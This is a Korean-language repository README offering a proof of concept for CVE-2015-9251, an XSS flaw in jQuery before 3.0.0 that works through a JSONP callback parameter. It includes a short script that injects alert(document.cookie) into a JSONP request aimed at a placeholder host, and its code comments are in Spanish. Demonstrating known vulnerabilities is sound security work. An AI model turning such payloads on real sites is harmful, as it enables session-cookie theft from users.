CVE-2015-9251

[email protected]

CVE-2015-9251 및 jQuery 3.0.0 미만 버전에 대한 PoC.

CVE-2015-9251 - PoC 익스플로잇

이 저장소는 jQuery 라이브러리의 취약점 CVE-2015-9251에 대한 **Proof of Concept (PoC)**을 포함합니다. 이 취약점은 jQuery 3.0.0 미만 버전에서 callback 매개변수에 코드 삽입을 허용하여, 위생 처리되지 않은 JSONP 호출을 통한 크로스 사이트 스크립팅(XSS) 공격을 가능하게 합니다.

설명

CVE-2015-9251은 jQuery 3.0.0 이전 버전에 영향을 미칩니다. 이 취약점은 JSONP 요청에서 callback 매개변수를 조작하여 악용되며, 피해자의 브라우저에서 임의의 JavaScript 코드가 실행될 수 있습니다. 이로 인해 세션 쿠키와 같은 민감한 데이터가 노출될 수 있습니다.

요구 사항

1. 테스트 환경: 취약한 웹 애플리케이션은 jQuery 3.0.0 미만 버전을 사용해야 합니다.
2. 웹 브라우저: PoC를 실행하고 익스플로잇 동작을 관찰합니다.
3. 검사 도구: 브라우저의 개발자 도구(DevTools)가 결과를 확인하는 데 유용합니다.

PoC 실행

PoC를 실행하려면 다음 단계를 따르세요:

1. 코드를 복사하여 브라우저 콘솔에 붙여넣거나 테스트 HTML 페이지에 포함시킵니다.

PoC 코드:

<script src="https://code.jquery.com/jquery-1.11.3.min.js"></script>
<script>
  // Función que simula una solicitud a un servidor vulnerable
  $.ajax({
    url: "https://example.com/api?callback=alert(document.cookie)",
    dataType: "jsonp", // JSONP permite la ejecución de código en JSONP callbacks
    success: function(response) {
      console.log(response);
    }
  });
</script>